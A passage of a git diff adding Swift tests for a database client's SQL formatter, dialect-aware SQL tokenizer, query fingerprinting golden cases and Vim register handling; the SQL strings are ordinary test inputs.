+    @Test("A CASE in a SET item lines up with its item")
+    func caseInSetItem() throws {
+        try expectFormat(
+            "update t set a = 1, b = case when c then 2 else 3 end where id = 1",
+            equals: """
+        UPDATE t
+        SET a = 1,
+            b = CASE
+              WHEN c THEN 2
+              ELSE 3
+            END
+        WHERE id = 1
+        """
+        )
+    }
+
+    @Test("HAVING breaks its conditions whether or not a WHERE came first")
+    func havingIsAConditionList() throws {
+        try expectFormat(
+            "select a from t group by a having count(*) > 1 and sum(b) > 2",
+            equals: """
+        SELECT a
+        FROM t
+        GROUP BY a
+        HAVING count(*) > 1
+          AND sum(b) > 2
+        """
+        )
+    }
+
+    @Test("A paren after a comma keeps its space")
+    func valuesRowsKeepTheirSpace() throws {
+        try expectFormat(
+            "insert into t (a, b) values (1, 'x'),(2, 'y'); select concat(a,(b + c)) from t where x in ((1, 2),(3, 4))",
+            equals: """
+        INSERT INTO t (a, b)
+        VALUES (1, 'x'), (2, 'y');
+        SELECT concat(a, (b + c))
+        FROM t
+        WHERE x IN ((1, 2), (3, 4))
+        """
+        )
+    }
+
+    @Test("END of a BEGIN block adds no blank line")
+    func endOfBlockIsIdempotent() throws {
+        try expectFormat(
+            "create procedure p() begin select 1; end",
+            equals: """
+        CREATE procedure p() BEGIN
+        SELECT 1;
+        END
+        """
+        )
+    }
+
+    @Test("IS DISTINCT FROM stays inline")
+    func isDistinctFromStaysInline() throws {
+        try expectFormat(
+            "select * from t where a is distinct from b",
+            dialect: .postgresql,
+            equals: """
+        SELECT *
+        FROM t
+        WHERE a IS DISTINCT FROM b
+        """
+        )
+    }
+
+    @Test("A line comment in a CRLF document ends at its line")
+    func crlfLineComment() throws {
+        let sql = """
+        select a from t -- note
+        where x = 1 and y = 2
+        """
+        try expectFormat(
+            sql.replacingOccurrences(of: "\n", with: "\r\n"),
+            equals: """
+        SELECT a
+        FROM t
+        -- note
+        WHERE x = 1
+          AND y = 2
+        """
+        )
+    }
+
+    @Test("Clause items below the keyword")
+    func clauseItemsBelow() throws {
+        try expectFormat(
+            "select u.id as user_id, u.name as user_name, count(o.id) as order_count from users u left join orders o on u.id = o.user_id where u.status = 'active' and o.created_at >= '2026-01-01' group by u.id, u.name",
+            options: options { $0.clauseItems = .newLine },
+            equals: """
+        SELECT
+          u.id AS user_id,
+          u.name AS user_name,
+          count(o.id) AS order_count
+        FROM users u
+        LEFT JOIN orders o
+          ON u.id = o.user_id
+        WHERE
+          u.status = 'active'
+          AND o.created_at >= '2026-01-01'
+        GROUP BY u.id, u.name
+        """
+        )
+    }
+
+    @Test("A WITH list below the keyword")
+    func clauseItemsBelowWith() throws {
+        try expectFormat(
+            "with a as (select 1 as x), b as (select x from a) select x from b",
+            options: options { $0.clauseItems = .newLine },
+            equals: """
+        WITH
+          a AS (
+            SELECT 1 AS x
+          ),
+          b AS (
+            SELECT x
+            FROM a
+          )
+        SELECT x
+        FROM b
+        """
+        )
+    }
+
+    @Test("A single item stays beside its keyword")
+    func clauseItemsBelowSingle() throws {
+        try expectFormat(
+            "select * from t where a = 1",
+            options: options { $0.clauseItems = .newLine },
+            equals: """
+        SELECT *
+        FROM t
+        WHERE a = 1
+        """
+        )
+    }
+
+    @Test("A SET list below the keyword with leading commas")
+    func clauseItemsBelowSet() throws {
+        try expectFormat(
+            "update users set name = 'a', email = 'b' where id = 1",
+            options: options {
+                $0.clauseItems = .newLine
+                $0.commaPosition = .leading
+            },
+            equals: """
+        UPDATE users
+        SET
+          name = 'a'
+          , email = 'b'
+        WHERE id = 1
+        """
+        )
+    }
+
+    @Test("AND at the end of the line")
+    func logicalOperatorAfter() throws {
+        try expectFormat(
+            "select * from u where u.status = 'active' and o.created_at >= '2026-01-01'",
+            options: options { $0.logicalOperatorNewline = .after },
+            equals: """
+        SELECT *
+        FROM u
+        WHERE u.status = 'active' AND
+              o.created_at >= '2026-01-01'
+        """
+        )
+    }
+
+    @Test("AND at the end of the line with items below")
+    func logicalOperatorAfterBelow() throws {
+        try expectFormat(
+            "select * from t where a = 1 and b = 2",
+            options: options {
+                $0.clauseItems = .newLine
+                $0.logicalOperatorNewline = .after
+            },
+            equals: """
+        SELECT *
+        FROM t
+        WHERE
+          a = 1 AND
+          b = 2
+        """
+        )
+    }
+
+    @Test("AND at the end of a HAVING line")
+    func logicalOperatorAfterHaving() throws {
+        try expectFormat(
+            "select a from t group by a having count(*) > 1 or sum(b) > 2",
+            options: options { $0.logicalOperatorNewline = .after },
+            equals: """
+        SELECT a
+        FROM t
+        GROUP BY a
+        HAVING count(*) > 1 OR
+               sum(b) > 2
+        """
+        )
+    }
+
+    @Test("Data type case rewrites types and leaves names spelled like types")
+    func dataTypeCaseUpper() throws {
+        try expectFormat(
+            "create table t (id int primary key, date date, name varchar(255)); select date from t where date > now()",
+            dialect: .postgresql,
+            options: options { $0.dataTypeCase = .upper },
+            equals: """
+        CREATE TABLE t (
+          id INT PRIMARY KEY,
+          date DATE,
+          name VARCHAR(255)
+        );
+        SELECT date
+        FROM t
+        WHERE date > now()
+        """
+        )
+    }
+
+    @Test("Data type case lower")
+    func dataTypeCaseLower() throws {
+        try expectFormat(
+            "SELECT CAST(x AS DECIMAL(10, 2)) AS d, CAST(y AS DATE) FROM t",
+            options: options { $0.dataTypeCase = .lower },
+            equals: """
+        SELECT CAST(x AS decimal(10, 2)) AS d,
+               CAST(y AS date)
+        FROM t
+        """
+        )
+    }
+
+    @Test("Data type case leaves types alone where the engine matches them by exact case")
+    func dataTypeCaseCaseSensitiveEngine() throws {
+        try expectFormat(
+            "SELECT CAST(x AS String), toString(y) FROM t",
+            dialect: .clickhouse,
+            options: options { $0.dataTypeCase = .upper },
+            equals: """
+        SELECT CAST(x AS String),
+               toString(y)
+        FROM t
+        """
+        )
+    }
+
+    @Test("Data type case leaves a column spelled like a type alone")
+    func dataTypeCaseLeavesColumnsSpelledLikeTypes() throws {
+        try expectFormat(
+            "SELECT date + 1, date - interval '1 day', x::date, date FROM t "
+                + "WHERE date = '2020-01-01' ORDER BY date",
+            dialect: .postgresql,
+            options: options {
+                $0.dataTypeCase = .upper
+                $0.keywordCase = .preserve
+            },
+            equals: """
+        SELECT date + 1,
+               date - interval '1 day',
+               x :: DATE,
+               date
+        FROM t
+        WHERE date = '2020-01-01'
+        ORDER BY date
+        """
+        )
+        try expectFormat(
+            "select date, text from t group by date having max(date) > 1",
+            options: options { $0.dataTypeCase = .upper },
+            equals: """
+        SELECT date,
+               text
+        FROM t
+        GROUP BY date
+        HAVING max(date) > 1
+        """
+        )
+    }
+
+    @Test("Data type case rewrites routine parameters, RETURNS and ALTER TABLE column types")
+    func dataTypeCaseInDeclarations() throws {
+        try expectFormat(
+            "CREATE FUNCTION f(date date, b integer, OUT c text) RETURNS SETOF integer AS $$ select 1 $$ LANGUAGE sql; "
+                + "DROP FUNCTION f(integer, text)",
+            dialect: .postgresql,
+            options: options {
+                $0.dataTypeCase = .upper
+                $0.keywordCase = .preserve
+            },
+            equals: """
+        CREATE FUNCTION f(date DATE, b INTEGER, OUT c TEXT) RETURNS SETOF INTEGER AS $$ select 1 $$ LANGUAGE sql;
+        DROP FUNCTION f(integer, text)
+        """
+        )
+        try expectFormat(
+            "alter table t modify column d datetime, add e int, add date date",
+            options: options { $0.dataTypeCase = .upper },
+            equals: "ALTER TABLE t MODIFY COLUMN d DATETIME, ADD e INT, ADD date DATE"
+        )
+    }
+
+    @Test("A column named go left alone by a leading comma stays off a line of its own")
+    func noManufacturedBatchSeparator() throws {
+        try expectFormat(
+            "select go, x from t",
+            dialect: .mssql,
+            options: options {
+                $0.clauseItems = .newLine
+                $0.commaPosition = .leading
+            },
+            equals: """
+        SELECT go
+          , x
+        FROM t
+        """
+        )
+    }
+
+    @Test("A statement starting with a column named delimiter stays off a line of its own")
+    func noManufacturedDelimiterDirective() throws {
+        try expectFormat(
+            "select delimiter as d, x from t; delimiter as e",
+            options: options { $0.clauseItems = .newLine },
+            equals: """
+        SELECT
+          delimiter AS d,
+          x
+        FROM t; delimiter AS e
+        """
+        )
+    }
+
+    @Test("A division operator stays off a line of its own under SQL*Plus rules")
+    func noManufacturedSlashLine() throws {
+        try expectFormat(
+            "select a\n/* x */ / -- y\n2 from dual",
+            dialect: .oracle,
+            equals: """
+        SELECT a
+        /* x */ /
+        -- y
+        2
+        FROM dual
+        """
+        )
+    }
+
+    // The quadratic count took 24 s optimized and minutes in a debug build; linear takes under 2 s in a debug build, so
+    // the bound leaves room for a slow CI runner.
+    @Test("A script of 20,000 GO batches formats in linear time")
+    func manyBatchesFormatInLinearTime() throws {
+        let script = (0..<20_000).map { "SELECT \($0)\nGO\n" }.joined()
+        var formatted = ""
+        let elapsed = try ContinuousClock().measure {
+            formatted = try formatter.format(script, dialect: .mssql).formattedSQL
+        }
+        #expect(formatted.components(separatedBy: "\n").filter { $0 == "GO" }.count == 20_000)
+        #expect(elapsed < .seconds(30))
+    }
+
+    @Test(
+        "Formatting keeps every statement and batch boundary under every layout",
+        arguments: [
+            (DatabaseType.mssql, "select go, x from t"),
+            (DatabaseType.mssql, "select x, go from t where go = 1 and y = 2"),
+            (DatabaseType.mssql, "select a, -- c\ngo from t"),
+            (DatabaseType.mssql, "select go, x from t\nGO\nselect y, go from u"),
+            (DatabaseType.mssql, "select * from t where go and x = 1"),
+            (DatabaseType.mysql, "select delimiter as d, x from t; delimiter as e"),
+            (DatabaseType.mysql, "select x from t; delimiter, y from u"),
+            (DatabaseType.oracle, "select a\n/* x */ / -- y\n2 from dual"),
+            (DatabaseType.oracle, "select a / b, c from t where d / 2 > 1"),
+        ]
+    )
+    func keepsStatementBoundaries(dialect: DatabaseType, sql: String) throws {
+        let grammar = dialect.lexicalGrammar
+        func directives(_ text: String) -> Int {
+            SQLTokenizer().tokenize(text, grammar: grammar).filter { $0.type == .directive }.count
+        }
+        for clauseItems in SQLFormatterClauseItems.allCases {
+            for commaPosition in SQLFormatterCommaPosition.allCases {
+                for logicalOperatorNewline in SQLFormatterLogicalOperatorNewline.allCases {
+                    let layout = options {
+                        $0.clauseItems = clauseItems
+                        $0.commaPosition = commaPosition
+                        $0.logicalOperatorNewline = logicalOperatorNewline
+                    }
+                    let formatted = try formatter.format(sql, dialect: dialect, options: layout).formattedSQL
+                    #expect(
+                        SQLStatementScanner.executableStatements(in: formatted, grammar: grammar).count
+                            == SQLStatementScanner.executableStatements(in: sql, grammar: grammar).count
+                    )
+                    #expect(
+                        SQLStatementScanner.batchSeparators(in: formatted, grammar: grammar).count
+                            == SQLStatementScanner.batchSeparators(in: sql, grammar: grammar).count
+                    )
+                    #expect(directives(formatted) == directives(sql))
+                    #expect(try formatter.format(formatted, dialect: dialect, options: layout).formattedSQL == formatted)
+                }
+            }
+        }
+    }
+
     // MARK: - Idempotency Under Options
 
     @Test(
@@ -1010,11 +2220,16 @@ struct SQLFormatterServiceTests {
             SQLFormatterOptions(indentStyle: .tabs, commaPosition: .leading, alignAliases: true),
             SQLFormatterOptions(indentWidth: 4, keywordCase: .lower, functionCase: .upper, lineWidth: 60),
             SQLFormatterOptions(lineWidth: 120, joinCondition: .sameLine, alignAliases: true),
+            SQLFormatterOptions(clauseItems: .newLine, logicalOperatorNewline: .after),
+            SQLFormatterOptions(commaPosition: .leading, alignAliases: true, clauseItems: .newLine, dataTypeCase: .upper),
+            SQLFormatterOptions(keywordCase: .preserve, lineWidth: 40, logicalOperatorNewline: .after, dataTypeCase: .lower),
         ]
     )
     func idempotentUnderOptions(_ options: SQLFormatterOptions) throws {
-        let sql = "select u.id as user_id, count(o.id) as n from users u left join orders o on u.id = o.user_id "
-            + "where u.status = 'active' and o.total > 10 group by u.id order by n desc"
+        let sql = "select u.id as user_id, count(o.id) as n, row_number() over (order by u.id) as rn, "
+            + "cast(o.total as decimal(10, 2)) as total from users u left join orders o on u.id = o.user_id "
+            + "where u.status = 'active' and o.total > 10 and exists (select 1 from r where r.id = u.id) "
+            + "group by u.id having count(*) > 1 and sum(o.total) > 2 order by n desc"
         let first = try format(sql, options: options)
         #expect(try format(first, options: options) == first)
     }
diff --git a/apple/TableProTests/Core/Services/SQLTokenizerTests.swift b/apple/TableProTests/Core/Services/SQLTokenizerTests.swift
index d172160f3b..0151f5f2ed 100644
--- a/apple/TableProTests/Core/Services/SQLTokenizerTests.swift
+++ b/apple/TableProTests/Core/Services/SQLTokenizerTests.swift
@@ -2,8 +2,6 @@
 //  SQLTokenizerTests.swift
 //  TableProTests
 //
-//  Tests for SQLTokenizer — character-by-character SQL lexer.
-//
 
 import Foundation
 import TableProPluginKit
@@ -263,4 +261,229 @@ struct SQLTokenizerTests {
         #expect(nonWS[0].value == "select") // preserves original case
         #expect(nonWS[1].value == "'Hello World'")
     }
+
+    // MARK: - Engine grammar
+
+    private func code(_ sql: String, _ type: DatabaseType, operators: Set<String> = []) -> [SQLToken] {
+        SQLTokenizer(operators: operators).tokenize(sql, grammar: type.lexicalGrammar).filter { $0.type != .whitespace }
+    }
+
+    @Test("A bracket name is one identifier under SQL Server's grammar")
+    func bracketIdentifier() {
+        #expect(code("select [order id] from [my table]", .mssql).map(\.value) == ["select", "[order id]", "from", "[my table]"])
+        #expect(code("[select]", .mssql) == [SQLToken(type: .identifier, value: "[select]")])
+    }
+
+    @Test("Without a grammar a bracket stays apart, as the query fingerprint reads it")
+    func bracketWithoutGrammar() {
+        #expect(tokenizer.tokenize("[users]").map(\.value) == ["[", "users", "]"])
+    }
+
+    @Test("A dollar-quoted body is one string")
+    func dollarQuotedBody() {
+        let body = "$$\nif x:\n    return 1\n$$"
+        #expect(code("as \(body) language plpython3u", .postgresql).map(\.value) == ["as", body, "language", "plpython3u"])
+    }
+
+    @Test("A GO line is a directive")
+    func batchSeparatorDirective() {
+        let tokens = code("select 1\nGO\nselect 2", .mssql)
+        #expect(tokens.map(\.value) == ["select", "1", "GO", "select", "2"])
+        #expect(tokens[2].type == .directive)
+    }
+
+    @Test("A DELIMITER line is a directive and its delimiter ends a statement")
+    func delimiterDirective() {
+        let tokens = code("DELIMITER //\nselect 1; end //\nDELIMITER ;", .mysql)
+        #expect(tokens.map(\.value) == ["DELIMITER //", "select", "1", ";", "end", "//", "DELIMITER ;"])
+        #expect(tokens.map(\.type) == [.directive, .keyword, .number, .punctuation, .keyword, .punctuation, .directive])
+    }
+
+    @Test("DELIMITER is a directive only where a statement starts")
+    func delimiterOnlyAtStatementStart() {
+        #expect(code("select\ndelimiter as d from t", .mysql).allSatisfy { $0.type != .directive })
+        #expect(code("select 1;\ndelimiter $$", .mysql).last?.type == .directive)
+    }
+
+    @Test("A MySQL # comment runs to the end of its line")
+    func hashComment() {
+        #expect(code("a # b and\nc", .mysql).map(\.value) == ["a", "# b and", "c"])
+    }
+
+    @Test("A line comment in a CRLF text ends at its line")
+    func crlfLineComment() {
+        #expect(code("a -- note\r\nb", .mysql).map(\.value) == ["a", "-- note", "b"])
+    }
+
+    @Test("Operators the dialect declares stay whole, and T-SQL's <@ is less than a variable")
+    func dialectOperators() {
+        #expect(code("a@>b and c#>>d", .postgresql, operators: ["@>", "#>>"]).map(\.value) == ["a", "@>", "b", "and", "c", "#>>", "d"])
+        #expect(code("a<@b", .mssql).map(\.value) == ["a", "<", "@b"])
+        #expect(code("a <=> b, @x := 1", .mysql).map(\.value) == ["a", "<=>", "b", ",", "@x", ":=", "1"])
+    }
+
+    @Test("A literal prefix stays on its literal")
+    func prefixedLiterals() {
+        let tokens = code("0xFF N'abc' X'4D' _utf8mb4'a' 2fa_codes", .mysql)
+        #expect(tokens.map(\.value) == ["0xFF", "N'abc'", "X'4D'", "_utf8mb4'a'", "2fa_codes"])
+        #expect(tokens.map(\.type) == [.number, .string, .string, .string, .identifier])
+    }
+
+    @Test("Without a grammar a word before a quote stays a word, so the fingerprint keeps the column")
+    func wordBeforeQuoteWithoutGrammar() {
+        for word in ["a", "b", "N"] {
+            let tokens = tokenizer.tokenize("SELECT \(word)'alias' FROM t").filter { $0.type != .whitespace }
+            #expect(tokens.map(\.value) == ["SELECT", word, "'alias'", "FROM", "t"])
+            #expect(tokens[1].type == .identifier)
+        }
+        for type in [DatabaseType.sqlite, .mysql] {
+            #expect(
+                SQLQueryFingerprint.hash("SELECT a'alias' FROM t", databaseType: type)
+                    != SQLQueryFingerprint.hash("SELECT b'alias' FROM t", databaseType: type)
+            )
+            #expect(SQLQueryFingerprint.normalize("SELECT a'alias' FROM t", databaseType: type) == "SELECT a ? FROM t")
+        }
+    }
+
+    @Test("Under a grammar only a literal introducer joins its quote")
+    func onlyIntroducersJoinTheirQuote() {
+        #expect(code("a'alias' r'raw' b'0101'", .mysql).map(\.value) == ["a", "'alias'", "r", "'raw'", "b'0101'"])
+    }
+
+    @Test("An @ parameter may start with a digit")
+    func atParameterWithLeadingDigit() {
+        let tokens = code("@1 @1ab @@x", .sqlite)
+        #expect(tokens.map(\.value) == ["@1", "@1ab", "@@x"])
+        #expect(tokens.allSatisfy { $0.type == .placeholder })
+    }
+
+    @Test("A custom delimiter splits the word it is glued to")
+    func delimiterSplitsAGluedWord() {
+        let tokens = code("DELIMITER $$\nend$$\nDELIMITER ;", .mysql)
+        #expect(tokens.map(\.value) == ["DELIMITER $$", "end", "$$", "DELIMITER ;"])
+        #expect(tokens.map(\.type) == [.directive, .keyword, .punctuation, .directive])
+    }
+
+    @Test("Under T-SQL a name continues with # and @; under MySQL # starts a comment")
+    func tsqlNameCharacters() {
+        #expect(code("Part# a#b c@d", .mssql).map(\.value) == ["Part#", "a#b", "c@d"])
+        #expect(code("a#b\nc", .mysql).map(\.value) == ["a", "#b", "c"])
+    }
+
+    @Test("Operators no dialect declares stay whole")
+    func undeclaredOperators() {
+        #expect(code("a += b == c ** d // e ^= f", .sqlite).map(\.value) == ["a", "+=", "b", "==", "c", "**", "d", "//", "e", "^=", "f"])
+    }
+
+    @Test("A system variable fingerprints as it did before, apart from a literal")
+    func systemVariableFingerprint() {
+        #expect(SQLQueryFingerprint.normalize("SELECT @@version", databaseType: .mysql) == "SELECT @ ?")
+        #expect(SQLQueryFingerprint.hash("SELECT @@version", databaseType: .mysql) != SQLQueryFingerprint.hash("SELECT 1", databaseType: .mysql))
+    }
+
+    @Test("Under a grammar a 0x or 0b run is a number only when its digits are hex or binary")
+    func prefixedNumbersNeedTheirDigits() {
+        let tokens = code("0xFF 0b101 0bar 0xyz", .mysql)
+        #expect(tokens.map(\.value) == ["0xFF", "0b101", "0bar", "0xyz"])
+        #expect(tokens.map(\.type) == [.number, .number, .identifier, .identifier])
+    }
+
+    @Test("A keyword before a quote stays a keyword")
+    func keywordBeforeQuote() {
+        #expect(code("then'x'", .mysql).map(\.value) == ["then", "'x'"])
+    }
+
+    @Test("Temp tables, variables and $ names are one word")
+    func prefixedNames() {
+        #expect(code("#tmp ##global @@rowcount @p", .mssql).map(\.value) == ["#tmp", "##global", "@@rowcount", "@p"])
+        #expect(code("v$session SYS#1", .oracle).map(\.value) == ["v$session", "SYS#1"])
+    }
+}
+
+// What the query fingerprint read on main, before the formatter read grammars: its hashes are stored, so the reading
+// without a grammar must not move. Each expected shape was produced by main's own SQLTokenizer and SQLQueryFingerprint.
+struct SQLFingerprintGoldenTests {
+    static let corpus: [(DatabaseType, String, String)] = [
+        (.postgresql, "SELECT * FROM t WHERE id = 1", "SELECT * FROM t WHERE id = ?"),
+        (.postgresql, "select id, name from users where active = true and role = 'admin'", "SELECT id, name FROM users WHERE active = ? AND role = ?"),
+        (.mysql, "SELECT @@version", "SELECT @ ?"),
+        (.mysql, "SELECT @@sql_mode", "SELECT @ ?"),
+        (.mysql, "SELECT 1", "SELECT ?"),
+        (.mssql, "SELECT @@ROWCOUNT, @@ERROR", "SELECT @ ?, @ ?"),
+        (.sqlite, "SELECT @1, @1ab FROM t WHERE a = @2", "SELECT ?, ? FROM t WHERE a = ?"),
+        (.mssql, "SELECT @x, @y FROM t WHERE a = @p", "SELECT ?, ? FROM t WHERE a = ?"),
+        (.mysql, "SELECT apply - 1 FROM t", "SELECT apply - ? FROM t"),
+        (.mysql, "SELECT apply + 1 FROM t", "SELECT apply + ? FROM t"),
+        (.mysql, "SELECT * FROM apply a", "SELECT * FROM apply a"),
+        (.mysql, "SELECT 0bar FROM t", "SELECT ? bar FROM t"),
+        (.mysql, "SELECT 0baz FROM t", "SELECT ? baz FROM t"),
+        (.mysql, "SELECT 0xFF, 0x1A, 0b101 FROM t", "SELECT ? xFF, ? x1A, ? b101 FROM t"),
+        (.mysql, "SELECT 2fa_codes.id FROM 2fa_codes", "SELECT ? fa_codes.id FROM ? fa_codes"),
+        (.mssql, "SELECT N'x', N'longer text' FROM t", "SELECT N ?, N ? FROM t"),
+        (.mysql, "SELECT X'4D', B'101', _utf8mb4'a' FROM t", "SELECT X ?, B ?, _utf8mb4 ? FROM t"),
+        (.mysql, "SELECT a'alias', b'alias' FROM t", "SELECT a ?, b ? FROM t"),
+        (.postgresql, "SELECT U&'d\\0061t', E'it\\'s' FROM t", "SELECT U & ?, E ? FROM t"),
+        (.oracle, "SELECT q'[it's]' FROM dual", "SELECT q ? s] ?"),
+        (.mssql, "SELECT [order id], [group] FROM [my table] WHERE [select] = 1", "SELECT[ORDER id], GROUP FROM[my TABLE] WHERE SELECT = ?"),
+        (.mssql, "SELECT * FROM [users]", "SELECT * FROM users"),
+        (.mssql, "SELECT * FROM users", "SELECT * FROM users"),
+        (.mssql, "SELECT * INTO #tmp FROM t; SELECT * FROM ##global", "SELECT * INTO # tmp FROM t; SELECT * FROM # # global"),
+        (.mssql, "SELECT Part# FROM Parts", "SELECT Part # FROM Parts"),
+        (.mssql, "SET @x += 1", "SET ? + = ?"),
+        (.sqlite, "SELECT * FROM t WHERE a == b", "SELECT * FROM t WHERE a = = b"),
+        (.oracle, "SELECT y ** 2 FROM dual WHERE a ^= b", "SELECT y * * ? FROM dual WHERE a ^ = b"),
+        (.duckdb, "SELECT 7 // 2", "SELECT ? / / ?"),
+        (.mysql, "SELECT a <=> b, @a := 1 FROM t", "SELECT a <= > b, ? : = ? FROM t"),
+        (.postgresql, "SELECT $$secret payload$$ FROM t", "SELECT ? FROM t"),
+        (.postgresql, "SELECT $tag$body here$tag$ FROM t", "SELECT ? FROM t"),
+        (.postgresql, "CREATE FUNCTION f() RETURNS int AS $$ BEGIN RETURN 1; END; $$ LANGUAGE plpgsql", "CREATE FUNCTION f() RETURNS INT AS ? LANGUAGE plpgsql"),
+        (.postgresql, "SELECT a::int, b::text FROM t", "SELECT a :: INT, b :: TEXT FROM t"),
+        (.postgresql, "SELECT data->>'name', data->'a', data #>> '{a,b}' FROM t", "SELECT data ->> ?, data -> ?, data # > > ? FROM t"),
+        (.postgresql, "SELECT * FROM t WHERE tags @> ARRAY['x'] AND d ?| array['a']", "SELECT * FROM t WHERE tags @ > ARRAY[?] AND d ? | array[?]"),
+        (.postgresql, "SELECT * FROM t WHERE name ~* 'abc' AND name !~ 'x'", "SELECT * FROM t WHERE name ~ * ? AND name ! ~ ?"),
+        (.postgresql, "SELECT embedding <-> '[1,2,3]' FROM items", "SELECT embedding < -> ? FROM items"),
+        (.postgresql, "-- pick\nSELECT * FROM t /* hint */ WHERE id = 1", "SELECT * FROM t WHERE id = ?"),
+        (.mysql, "SELECT 1 # comment\nFROM t", "SELECT ? # comment FROM t"),
+        (.mysql, "SELECT 5--3", "SELECT ?"),
+        (.postgresql, "SELECT 1 /* a /* b */ c */ FROM t", "SELECT ? c * / FROM t"),
+        (.postgresql, "select a, b -- note\nfrom t where x = 1", "SELECT a, b FROM t WHERE x = ?"),
+        (.mysql, "SELECT /*!40001 SQL_NO_CACHE */ a FROM t", "SELECT a FROM t"),
+        (.postgresql, "SELECT * FROM t WHERE id IN (1, 2, 3)", "SELECT * FROM t WHERE id IN (...)"),
+        (.postgresql, "SELECT * FROM t WHERE id IN (SELECT id FROM u)", "SELECT * FROM t WHERE id IN (SELECT id FROM u)"),
+        (.postgresql, "INSERT INTO t VALUES (1, 'a'), (2, 'b')", "INSERT INTO t VALUES (...)"),
+        (.postgresql, "SELECT * FROM t WHERE x = -1 AND y = +2", "SELECT * FROM t WHERE x = ? AND y = ?"),
+        (.postgresql, "SELECT b - 1, f(a, -1) FROM t", "SELECT b - ?, f(a, ?) FROM t"),
+        (.postgresql, "SELECT tags[1] - 1 FROM t", "SELECT tags[?] - ? FROM t"),
+        (.postgresql, "SELECT 0.5, .5, 1e10, 1.5E-3 FROM t", "SELECT ?, ?, ?, ? FROM t"),
+        (.mysql, "SELECT * FROM t WHERE n = \"bob\"", "SELECT * FROM t WHERE n = ?"),
+        (.postgresql, "SELECT \"email\" FROM \"Users\" WHERE id = 1", "SELECT email FROM Users WHERE id = ?"),
+        (.mysql, "SELECT * FROM `users`", "SELECT * FROM users"),
+        (.oracle, "SELECT * FROM v$session WHERE sid = 1", "SELECT * FROM v ? WHERE sid = ?"),
+        (.oracle, "BEGIN x := 1; END;", "BEGIN x : = ?; END;"),
+        (.mssql, "SELECT 1\nGO\nSELECT 2", "SELECT ? GO SELECT ?"),
+        (.mysql, "DELIMITER //\nCREATE PROCEDURE p() BEGIN SELECT 1; END //\nDELIMITER ;", "DELIMITER / / CREATE PROCEDURE p() BEGIN SELECT ?; END / / DELIMITER;"),
+        (.mysql, "DELIMITER $$\nEND$$", "DELIMITER ?"),
+        (.clickhouse, "SELECT database, table FROM system.columns WHERE database = 'default'", "SELECT DATABASE, TABLE FROM system.columns WHERE DATABASE = ?"),
+        (.postgresql, "SELECT count(*), sum(total) FROM t GROUP BY 1", "SELECT COUNT(*), SUM(total) FROM t GROUP BY ?"),
+        (.postgresql, "SELECT * FROM t WHERE created > now() - interval '1 day'", "SELECT * FROM t WHERE created > now() - INTERVAL ?"),
+        (.postgresql, "SELECT 'C:\\', 'hello   world' FROM t", "SELECT ? hello world ?"),
+        (.mysql, "SELECT 'it\\'s' FROM t", "SELECT ? FROM t"),
+        (.postgresql, "SELECT café, naïve FROM t", "SELECT café, naïve FROM t"),
+        (.postgresql, "SELECT * FROM t WHERE id = $1 AND name = :name", "SELECT * FROM t WHERE id = ? AND name = ?"),
+        (.postgresql, "SELECT * FROM t WHERE id = ?", "SELECT * FROM t WHERE id = ?"),
+        (.postgresql, "UPDATE t SET a = 1, b = 'x' WHERE id = 7", "UPDATE t SET a = ?, b = ? WHERE id = ?"),
+        (.postgresql, "DELETE FROM t WHERE id IN (1, 2)", "DELETE FROM t WHERE id IN (...)"),
+        (.postgresql, "SELECT CASE WHEN a = 1 THEN 'x' ELSE 'y' END FROM t", "SELECT CASE WHEN a = ? THEN ? ELSE ? END FROM t"),
+        (.postgresql, "SELECT * FROM t1 JOIN t2 ON t1.id = t2.id LEFT OUTER JOIN t3 ON t3.id = t1.id", "SELECT * FROM t1 JOIN t2 ON t1.id = t2.id LEFT OUTER JOIN t3 ON t3.id = t1.id"),
+        (.mssql, "SELECT * FROM a OUTER APPLY f(a.id) x CROSS APPLY g(a.id) y", "SELECT * FROM a OUTER APPLY f(a.id) x CROSS APPLY g(a.id) y"),
+        (.postgresql, "select 'foo'\n'bar' as s", "SELECT ? AS s"),
+        (.postgresql, "SELECT a FROM t WHERE b = 'x''y'", "SELECT a FROM t WHERE b = ?"),
+    ]
+
+    @Test("Every query fingerprints exactly as it did before the formatter read grammars")
+    func fingerprintsMatchMain() {
+        for (type, sql, shape) in Self.corpus {
+            #expect(SQLQueryFingerprint.normalize(sql, databaseType: type) == shape, "\(type.rawValue): \(sql)")
+        }
+    }
 }
diff --git a/apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift b/apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift
new file mode 100644
index 0000000000..6876179fce
--- /dev/null
+++ b/apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift
@@ -0,0 +1,52 @@
+//
+//  VimEngineBlackHoleRegisterTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import Testing
+
+extension GlobalStateSuites {
+    @Suite(.recordingClipboard)
+    @MainActor
+    struct VimEngineBlackHoleRegisterTests {
+        private func keys(_ chars: String, into engine: VimEngine) {
+            for char in chars { _ = engine.process(char, shift: false) }
+        }
+
+        @Test(arguments: ["\"_dd", "\"_2dd", "\"_x", "\"_dw", "\"_yy", "\"_yw", "l\"_X", "\"_s", "\"_cc"])
+        func writesNoRegisterAndNoClipboard(sequence: String) {
+            let buffer = VimTextBufferMock(text: "one\ntwo\nthree\n")
+            let engine = VimEngine(buffer: buffer)
+            keys("yyj", into: engine)
+            let numbered = engine.numberedRegisters.map { $0.text }
+
+            keys(sequence, into: engine)
+
+            #expect(engine.register.text == "one\n")
+            #expect(engine.register.isLinewise)
+            #expect(engine.numberedRegisters.map { $0.text } == numbered)
+            #expect(engine.namedRegisters.isEmpty)
+            #expect(RecordingClipboard.current?.writes == ["one\n"])
+        }
+
+        @Test
+        func pasteAfterABlackHoleDeletePastesTheEarlierYank() {
+            let buffer = VimTextBufferMock(text: "one\ntwo\nthree\n")
+            let engine = VimEngine(buffer: buffer)
+            keys("yyj\"_ddp", into: engine)
+            #expect(buffer.text == "one\nthree\none\n")
+        }
+
+        @Test
+        func theBlackHoleAppliesToOneCommandOnly() {
+            let buffer = VimTextBufferMock(text: "one\ntwo\nthree\n")
+            let engine = VimEngine(buffer: buffer)
+            keys("yyj\"_dddd", into: engine)
+            #expect(buffer.text == "one\n")
+            #expect(engine.register.text == "three\n")
+            #expect(RecordingClipboard.current?.writes == ["one\n", "three\n"])
+        }
+    }
+}
diff --git a/apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift b/apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift
new file mode 100644
index 0000000000..cb647762c9
--- /dev/null
